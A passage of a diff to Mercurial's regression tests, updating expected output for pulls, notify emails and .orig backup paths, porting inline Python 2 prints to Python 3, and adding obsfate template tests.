   >     line = line.replace('\r', '<CR>')
   >     line = line.replace('\n', '<LF>')
-  >     print line
+  >     print(line)
   > EOF
 
   $ hg init repo
diff --git a/tests/test-mq-pull-from-bundle.t b/tests/test-mq-pull-from-bundle.t
--- a/tests/test-mq-pull-from-bundle.t
+++ b/tests/test-mq-pull-from-bundle.t
@@ -88,6 +88,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets d7553909353d
   merging series
   2 files updated, 1 files merged, 0 files removed, 0 files unresolved
   $ test -f .hg/patches/hg-bundle* && echo 'temp. bundle file remained' || true
@@ -119,6 +120,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets d7553909353d
   merging series
   2 files updated, 1 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-mq-qclone-http.t b/tests/test-mq-qclone-http.t
--- a/tests/test-mq-qclone-http.t
+++ b/tests/test-mq-qclone-http.t
@@ -47,11 +47,13 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:184916345baa
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 4052ceaa8c4e
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -86,11 +88,13 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:184916345baa
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 4052ceaa8c4e
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -125,11 +129,13 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:184916345baa
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 4052ceaa8c4e
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-mq-qpush-fail.t b/tests/test-mq-qpush-fail.t
--- a/tests/test-mq-qpush-fail.t
+++ b/tests/test-mq-qpush-fail.t
@@ -465,7 +465,7 @@
 test previous qpop (with --force and --config) saved .orig files to where user
 wants them
   $ ls .hg/origbackups
-  b.orig
+  b
   $ rm -rf .hg/origbackups
 
   $ cd ..
diff --git a/tests/test-mq-safety.t b/tests/test-mq-safety.t
--- a/tests/test-mq-safety.t
+++ b/tests/test-mq-safety.t
@@ -166,6 +166,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 07f494440405
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ echo a >> a
diff --git a/tests/test-mq.t b/tests/test-mq.t
--- a/tests/test-mq.t
+++ b/tests/test-mq.t
@@ -782,6 +782,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 770eb8fce608
   (run 'hg update' to get a working copy)
 
 
@@ -1388,7 +1389,7 @@
   $ hg qpush -f --verbose --config 'ui.origbackuppath=.hg/origbackups'
   applying empty
   creating directory: $TESTTMP/forcepush/.hg/origbackups (glob)
-  saving current version of hello.txt as $TESTTMP/forcepush/.hg/origbackups/hello.txt.orig (glob)
+  saving current version of hello.txt as $TESTTMP/forcepush/.hg/origbackups/hello.txt (glob)
   patching file hello.txt
   committing files:
   hello.txt
@@ -1422,7 +1423,7 @@
 test that the previous call to qpush with -f (--force) and --config actually put
 the orig files out of the working copy
   $ ls .hg/origbackups
-  hello.txt.orig
+  hello.txt
 
 test popping revisions not in working dir ancestry
 
diff --git a/tests/test-no-symlinks.t b/tests/test-no-symlinks.t
--- a/tests/test-no-symlinks.t
+++ b/tests/test-no-symlinks.t
@@ -48,6 +48,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 6 changes to 6 files
+  new changesets d326ae2d01ee:71d85cf3ba90
   (run 'hg update' to get a working copy)
   $ hg update
   5 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-notify-changegroup.t b/tests/test-notify-changegroup.t
--- a/tests/test-notify-changegroup.t
+++ b/tests/test-notify-changegroup.t
@@ -39,15 +39,15 @@
 push
 
   $ hg --traceback --cwd b push ../a 2>&1 |
-  >     $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  >     $PYTHON -c 'from __future__ import print_function ; import sys,re; print(re.sub("\n\t", " ", sys.stdin.read()), end="")'
   pushing to ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: * (glob)
@@ -85,6 +85,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets cb9a9f314b8b:ba677d0156c1
   (run 'hg update' to get a working copy)
   $ hg --cwd a rollback
   repository tip rolled back to revision -1 (undo unbundle)
@@ -92,13 +93,14 @@
 unbundle with correct source
 
   $ hg --config notify.sources=unbundle --cwd a unbundle ../test.hg 2>&1 |
-  >     $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  >     $PYTHON -c 'from __future__ import print_function ; import sys,re; print(re.sub("\n\t", " ", sys.stdin.read()), end="")'
   adding changesets
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets cb9a9f314b8b:ba677d0156c1
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: * (glob)
@@ -167,15 +169,15 @@
 push
 
   $ hg --traceback --cwd b --config notify.fromauthor=True push ../a 2>&1 |
-  >     $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  >     $PYTHON -c 'from __future__ import print_function ; import sys,re; print(re.sub("\n\t", " ", sys.stdin.read()), end="")'
   pushing to ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: * (glob)
diff --git a/tests/test-notify.t b/tests/test-notify.t
--- a/tests/test-notify.t
+++ b/tests/test-notify.t
@@ -1,3 +1,9 @@
+  $ cat > $TESTTMP/filter.py <<EOF
+  > from __future__ import absolute_import, print_function
+  > import re
+  > import sys
+  > print(re.sub("\n[ \t]", " ", sys.stdin.read()), end="")
+  > EOF
 
   $ cat <<EOF >> $HGRCPATH
   > [extensions]
@@ -175,16 +181,16 @@
 of the very long subject line
 pull (minimal config)
 
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n[\t ]", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 0647d048b600
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: changeset in $TESTTMP/b: b
@@ -205,6 +211,7 @@
   @@ -1,1 +1,2 @@ a
   +a
   (run 'hg update' to get a working copy)
+
   $ cat <<EOF >> $HGRCPATH
   > [notify]
   > config = `pwd`/.notify.conf
@@ -228,16 +235,16 @@
 
   $ hg --cwd b rollback
   repository tip rolled back to revision 0 (undo pull)
-  $ hg --traceback --cwd b pull ../a  | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a  | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 0647d048b600
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
@@ -254,8 +261,7 @@
   diff -r cb9a9f314b8b -r 0647d048b600 a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:01 1970 +0000
-  @@ -1,1 +1,2 @@
-   a
+  @@ -1,1 +1,2 @@ a
   +a
   (run 'hg update' to get a working copy)
 
@@ -272,16 +278,16 @@
 
   $ hg --cwd b rollback
   repository tip rolled back to revision 0 (undo pull)
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 0647d048b600
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
@@ -294,17 +300,14 @@
   changeset 0647d048b600 in b
   description: b
   diffstat:
-  
-   a |  1 +
-   1 files changed, 1 insertions(+), 0 deletions(-)
+   a |  1 + 1 files changed, 1 insertions(+), 0 deletions(-)
   
   diffs (6 lines):
   
   diff -r cb9a9f314b8b -r 0647d048b600 a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:01 1970 +0000
-  @@ -1,1 +1,2 @@
-   a
+  @@ -1,1 +1,2 @@ a
   +a
   (run 'hg update' to get a working copy)
 
@@ -321,16 +324,16 @@
   (branch merge, don't forget to commit)
   $ hg ci -m merge -d '3 0'
   $ cd ..
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 2 changesets with 0 changes to 0 files
+  new changesets 0a184ce6067f:6a0cf76b2701
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
@@ -343,20 +346,17 @@
   changeset 0a184ce6067f in b
   description: adda2
   diffstat:
-  
-   a |  1 +
-   1 files changed, 1 insertions(+), 0 deletions(-)
+   a |  1 + 1 files changed, 1 insertions(+), 0 deletions(-)
   
   diffs (6 lines):
   
   diff -r cb9a9f314b8b -r 0a184ce6067f a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:02 1970 +0000
-  @@ -1,1 +1,2 @@
-   a
+  @@ -1,1 +1,2 @@ a
   +a
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
@@ -380,15 +380,16 @@
   $ hg --cwd a --encoding utf-8 commit -A -d '0 0' \
   >   -m `$PYTHON -c 'print "\xc3\xa0\xc3\xa1\xc3\xa2\xc3\xa3\xc3\xa4"'`
   $ hg --traceback --cwd b --encoding utf-8 pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  >   $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 7ea05ad269dc
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 8bit
   X-Test: foo
   Date: * (glob)
@@ -401,18 +402,14 @@
   changeset 7ea05ad269dc in b
   description: \xc3\xa0\xc3\xa1\xc3\xa2\xc3\xa3\xc3\xa4 (esc)
   diffstat:
-  
-   a |  1 +
-   1 files changed, 1 insertions(+), 0 deletions(-)
+   a |  1 + 1 files changed, 1 insertions(+), 0 deletions(-)
   
   diffs (7 lines):
   
   diff -r 6a0cf76b2701 -r 7ea05ad269dc a
   --- a/a	Thu Jan 01 00:00:03 1970 +0000
   +++ b/a	Thu Jan 01 00:00:00 1970 +0000
-  @@ -1,2 +1,3 @@
-   a
-   a
+  @@ -1,2 +1,3 @@ a a
   +a
   (run 'hg update' to get a working copy)
 
@@ -424,7 +421,7 @@
   > test = False
   > mbox = mbox
   > EOF
-  $ $PYTHON -c 'file("a/a", "ab").write("no" * 500 + "\n")'
+  $ $PYTHON -c 'file("a/a", "ab").write("no" * 500 + "\xd1\x84" + "\n")'
   $ hg --cwd a commit -A -m "long line"
   $ hg --traceback --cwd b pull ../a
   pulling from ../a
@@ -433,37 +430,33 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets a323cae54f6e
   notify: sending 2 subscribers 1 changes
   (run 'hg update' to get a working copy)
-  $ $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", file("b/mbox").read()),'
+  $ $PYTHON $TESTTMP/filter.py < b/mbox
   From test@test.com ... ... .. ..:..:.. .... (re)
-  Content-Type: text/plain; charset="us-ascii"
   MIME-Version: 1.0
+  Content-Type: text/plain; charset="*" (glob)
   Content-Transfer-Encoding: quoted-printable
   X-Test: foo
   Date: * (glob)
   Subject: long line
   From: test@test.com
-  X-Hg-Notification: changeset e0be44cf638b
-  Message-Id: <hg.e0be44cf638b.*.*@*> (glob)
+  X-Hg-Notification: changeset a323cae54f6e
+  Message-Id: <hg.a323cae54f6e.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
-  changeset e0be44cf638b in b
+  changeset a323cae54f6e in b
   description: long line
   diffstat:
-  
-   a |  1 +
-   1 files changed, 1 insertions(+), 0 deletions(-)
+   a |  1 + 1 files changed, 1 insertions(+), 0 deletions(-)
   
   diffs (8 lines):
   
-  diff -r 7ea05ad269dc -r e0be44cf638b a
+  diff -r 7ea05ad269dc -r a323cae54f6e a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:00 1970 +0000
-  @@ -1,3 +1,4 @@
-   a
-   a
-   a
+  @@ -1,3 +1,4 @@ a a a
   +nonononononononononononononononononononononononononononononononononononono=
   nononononononononononononononononononononononononononononononononononononon=
   ononononononononononononononononononononononononononononononononononononono=
@@ -477,7 +470,7 @@
   ononononononononononononononononononononononononononononononononononononono=
   nononononononononononononononononononononononononononononononononononononon=
   ononononononononononononononononononononononononononononononononononononono=
-  nonononononononononononono
+  nonononononononononononono=D1=84
   
  revset selection: send to address that matches branch and repo
 
@@ -500,26 +493,26 @@
   (branches are permanent and global, did you want a bookmark?)
   $ echo a >> a/a
   $ hg --cwd a ci -m test -d '1 0'
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b7cf10b2bdec
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
   Subject: test
   From: test@test.com
-  X-Hg-Notification: changeset fbbcbc516f2f
-  Message-Id: <hg.fbbcbc516f2f.*.*@*> (glob)
+  X-Hg-Notification: changeset b7cf10b2bdec
+  Message-Id: <hg.b7cf10b2bdec.*.*@*> (glob)
   To: baz@test.com, foo@bar, notify@example.com
   
-  changeset fbbcbc516f2f in b
+  changeset b7cf10b2bdec in b
   description: test
   (run 'hg update' to get a working copy)
 
@@ -530,26 +523,26 @@
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ echo a >> a/a
   $ hg --cwd a ci -m test -d '1 0'
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 5a07df312a79
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   X-Test: foo
   Date: * (glob)
   Subject: test
   From: test@test.com
-  X-Hg-Notification: changeset 38b42fa092de
-  Message-Id: <hg.38b42fa092de.*.*@*> (glob)
+  X-Hg-Notification: changeset 5a07df312a79
+  Message-Id: <hg.5a07df312a79.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
-  changeset 38b42fa092de in b
+  changeset 5a07df312a79 in b
   description: test
   (run 'hg heads' to see heads)
 
@@ -559,20 +552,19 @@
   $ mv "$HGRCPATH.new" $HGRCPATH
   $ echo a >> a/a
   $ hg --cwd a commit -m 'default template'
-  $ hg --cwd b pull ../a -q | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --cwd b pull ../a -q | $PYTHON $TESTTMP/filter.py
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: changeset in b: default template
   From: test@test.com
-  X-Hg-Notification: changeset 3548c9e294b6
-  Message-Id: <hg.3548c9e294b6.*.*@*> (glob)
+  X-Hg-Notification: changeset f5e8ec95bf59
+  Message-Id: <hg.f5e8ec95bf59.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
-  changeset 3548c9e294b6 in $TESTTMP/b (glob)
-  details: http://test/b?cmd=changeset;node=3548c9e294b6
+  changeset f5e8ec95bf59 in $TESTTMP/b (glob)
+  details: http://test/b?cmd=changeset;node=f5e8ec95bf59
   description: default template
 
 with style:
@@ -589,19 +581,18 @@
   > EOF
   $ echo a >> a/a
   $ hg --cwd a commit -m 'with style'
-  $ hg --cwd b pull ../a -q | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --cwd b pull ../a -q | $PYTHON $TESTTMP/filter.py
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: with style
   From: test@test.com
-  X-Hg-Notification: changeset e917dbd961d3
-  Message-Id: <hg.e917dbd961d3.*.*@*> (glob)
+  X-Hg-Notification: changeset 9e2c3a8e9c43
+  Message-Id: <hg.9e2c3a8e9c43.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
-  changeset e917dbd961d3
+  changeset 9e2c3a8e9c43
 
 with template (overrides style):
 
@@ -613,16 +604,15 @@
   > EOF
   $ echo a >> a/a
   $ hg --cwd a commit -m 'with template'
-  $ hg --cwd b pull ../a -q | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --cwd b pull ../a -q | $PYTHON $TESTTMP/filter.py
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
-  Subject: a09743fd3edd: with template
+  Subject: e2cbf5bf18a7: with template
   From: test@test.com
-  X-Hg-Notification: changeset a09743fd3edd
-  Message-Id: <hg.a09743fd3edd.*.*@*> (glob)
+  X-Hg-Notification: changeset e2cbf5bf18a7
+  Message-Id: <hg.e2cbf5bf18a7.*.*@*> (glob)
   To: baz@test.com, foo@bar
   
   with template
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -10,7 +10,14 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=all
+  > evolution=true
+  > [templates]
+  > obsfatesuccessors = "{if(successors, " as ")}{join(successors, ", ")}"
+  > obsfateverb = "{obsfateverb(successors)}"
+  > obsfateoperations = "{if(obsfateoperations(markers), " using {join(obsfateoperations(markers), ", ")}")}"
+  > obsfateusers = "{if(obsfateusers(markers), " by {join(obsfateusers(markers), ", ")}")}"
+  > obsfatedate = "{if(obsfatedate(markers), "{ifeq(min(obsfatedate(markers)), max(obsfatedate(markers)), " (at {min(obsfatedate(markers))|isodate})", " (between {min(obsfatedate(markers))|isodate} and {max(obsfatedate(markers))|isodate})")}")}"
+  > obsfatetempl = "{obsfateverb}{obsfateoperations}{obsfatesuccessors}{obsfateusers}{obsfatedate}; "
   > [alias]
   > tlog = log -G -T '{node|short}\
   >     {if(predecessors, "\n  Predecessors: {predecessors}")}\
@@ -20,6 +27,9 @@
   >     {if(successorssets, "\n  Successors: {successorssets}")}\
   >     {if(successorssets, "\n  multi-line: {join(successorssets, "\n  multi-line: ")}")}\
   >     {if(successorssets, "\n  json: {successorssets|json}")}\n'
+  > fatelog = log -G -T '{node|short}\n{if(succsandmarkers, "  Obsfate: {succsandmarkers % "{obsfatetempl}"} \n" )}'
+  > fatelogjson = log -G -T '{node|short}\n{if(succsandmarkers, "  Obsfate: {succsandmarkers|json}\n")}'
+  > fatelogkw = log -G -T '{node|short}\n{if(obsfate, "{obsfate % "  Obsfate: {fate}\n"}")}'
   > EOF
 
 Test templates on amended commit
@@ -33,31 +43,28 @@
   $ mkcommit ROOT
   $ mkcommit A0
   $ echo 42 >> A0
-  $ hg commit --amend -m "A1"
-  $ hg commit --amend -m "A2"
+  $ hg commit --amend -m "A1" --config devel.default-date="1234567890 0"
+  $ hg commit --amend -m "A2" --config devel.default-date="987654321 0" --config devel.user.obsmarker=test2
 
   $ hg log --hidden -G
-  @  changeset:   4:d004c8f274b9
+  @  changeset:   3:d004c8f274b9
   |  tag:         tip
   |  parent:      0:ea207398892e
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
   |  summary:     A2
   |
-  | x  changeset:   3:a468dc9b3633
+  | x  changeset:   2:a468dc9b3633
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test2
   |    summary:     A1
   |
-  | x  changeset:   2:f137d23bb3e1
-  | |  user:        test
-  | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  summary:     temporary amend commit for 471f378eab4c
-  | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:a468dc9b3633
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -78,51 +85,120 @@
   |    json: ["471f378eab4c5e25f6c77f785b27c936efb22874"]
   |    map: 1:471f378eab4c5e25f6c77f785b27c936efb22874
   | @  471f378eab4c
-  |/     Successors: 4:d004c8f274b9
-  |      multi-line: 4:d004c8f274b9
+  |/     Successors: 3:d004c8f274b9
+  |      multi-line: 3:d004c8f274b9
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
   o  ea207398892e
   
+  $ hg fatelog
+  o  d004c8f274b9
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
+  o  ea207398892e
+  
+
+  $ hg fatelogkw
+  o  d004c8f274b9
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test, test2
+  o  ea207398892e
+  
+
+  $ hg log -G --config ui.logtemplate=
+  o  changeset:   3:d004c8f274b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A2
+  |
+  | @  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test, test2
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
+  $ hg log -G -T "default"
+  o  changeset:   3:d004c8f274b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A2
+  |
+  | @  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test, test2
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
   $ hg up 'desc(A1)' --hidden
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Predecessors template should show current revision as it is the working copy
   $ hg tlog
   o  d004c8f274b9
-  |    Predecessors: 3:a468dc9b3633
-  |    semi-colon: 3:a468dc9b3633
+  |    Predecessors: 2:a468dc9b3633
+  |    semi-colon: 2:a468dc9b3633
   |    json: ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]
-  |    map: 3:a468dc9b36338b14fdb7825f55ce3df4e71517ad
+  |    map: 2:a468dc9b36338b14fdb7825f55ce3df4e71517ad
   | @  a468dc9b3633
-  |/     Successors: 4:d004c8f274b9
-  |      multi-line: 4:d004c8f274b9
+  |/     Successors: 3:d004c8f274b9
+  |      multi-line: 3:d004c8f274b9
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
   o  ea207398892e
   
+  $ hg fatelog
+  o  d004c8f274b9
+  |
+  | @  a468dc9b3633
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
+  o  ea207398892e
+  
 Predecessors template should show all the predecessors as we force their display
 with --hidden
   $ hg tlog --hidden
   o  d004c8f274b9
-  |    Predecessors: 3:a468dc9b3633
-  |    semi-colon: 3:a468dc9b3633
+  |    Predecessors: 2:a468dc9b3633
+  |    semi-colon: 2:a468dc9b3633
   |    json: ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]
-  |    map: 3:a468dc9b36338b14fdb7825f55ce3df4e71517ad
+  |    map: 2:a468dc9b36338b14fdb7825f55ce3df4e71517ad
   | @  a468dc9b3633
   |/     Predecessors: 1:471f378eab4c
   |      semi-colon: 1:471f378eab4c
   |      json: ["471f378eab4c5e25f6c77f785b27c936efb22874"]
   |      map: 1:471f378eab4c5e25f6c77f785b27c936efb22874
-  |      Successors: 4:d004c8f274b9
-  |      multi-line: 4:d004c8f274b9
+  |      Successors: 3:d004c8f274b9
+  |      multi-line: 3:d004c8f274b9
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
-  | x  f137d23bb3e1
-  | |
   | x  471f378eab4c
-  |/     Successors: 3:a468dc9b3633
-  |      multi-line: 3:a468dc9b3633
+  |/     Successors: 2:a468dc9b3633
+  |      multi-line: 2:a468dc9b3633
   |      json: [["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]]
   o  ea207398892e
   
+  $ hg fatelog --hidden
+  o  d004c8f274b9
+  |
+  | @  a468dc9b3633
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000);
+  o  ea207398892e
+  
 
 Predecessors template shouldn't show anything as all obsolete commit are not
 visible.
@@ -135,27 +211,144 @@
   
   $ hg tlog --hidden
   @  d004c8f274b9
-  |    Predecessors: 3:a468dc9b3633
-  |    semi-colon: 3:a468dc9b3633
+  |    Predecessors: 2:a468dc9b3633
+  |    semi-colon: 2:a468dc9b3633
   |    json: ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]
-  |    map: 3:a468dc9b36338b14fdb7825f55ce3df4e71517ad
+  |    map: 2:a468dc9b36338b14fdb7825f55ce3df4e71517ad
   | x  a468dc9b3633
   |/     Predecessors: 1:471f378eab4c
   |      semi-colon: 1:471f378eab4c
   |      json: ["471f378eab4c5e25f6c77f785b27c936efb22874"]
   |      map: 1:471f378eab4c5e25f6c77f785b27c936efb22874
-  |      Successors: 4:d004c8f274b9
-  |      multi-line: 4:d004c8f274b9
+  |      Successors: 3:d004c8f274b9
+  |      multi-line: 3:d004c8f274b9
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
-  | x  f137d23bb3e1
-  | |
   | x  471f378eab4c
-  |/     Successors: 3:a468dc9b3633
-  |      multi-line: 3:a468dc9b3633
+  |/     Successors: 2:a468dc9b3633
+  |      multi-line: 2:a468dc9b3633
   |      json: [["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]]
   o  ea207398892e
   
+  $ hg fatelog
+  @  d004c8f274b9
+  |
+  o  ea207398892e
+  
 
+  $ hg fatelog --hidden
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000);
+  o  ea207398892e
+  
+  $ hg fatelogjson --hidden
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
